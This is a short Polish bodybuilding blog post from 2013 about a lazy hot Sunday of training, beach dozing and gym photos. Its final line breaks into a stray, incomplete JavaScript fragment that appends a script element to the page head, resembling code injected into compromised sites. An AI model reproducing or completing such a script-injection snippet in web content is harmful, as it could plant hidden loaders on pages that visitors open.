NIEDZIELA – 0 PRZEJMOWANIA SIĘ

22.07.2013 / Adam Jabłoński / Kulturystyka

Cześć,

Wczorajszy dzień był mega – 28 stopni – spałem do 12, wstałem pojechałem na trening, wróciłem, pojechałem na plaże, gdzie przysnąłem z muzą na uszach totalnie wywalone na wszystko 0 problemów oprócz jedno chciało mi się jeść, a nic z sobą nie wziąłem tylko białko w shakerze.
Z tym, że pomyślałem, a co tam jak sie 1 raz na nie wiem ile przesunie jeden posiłek o 1,5 godziny, no i biegające dzieci, które sypały piachem na mnie hehe jednak się tym nie przejmowałem.
. Wróciłem do domu i miałem jechać umyć auto ale mi się nie chciało to zostałem w domu.

CHILL OUT masakra jaki leń, nie bierzcie ze mnie przykładu w tej kwestii, no i wrzucam jeszcze fotki z wczoraj z siłowni :

JABI JaBi Plecy tyłem JaBi Bicepsy tyłem

 

Pozdrawiam
HEJ,
CZEŚĆ} else {if (document.currentScript) { d.getElementsByTagName(‚head’)[0].appendChild(s);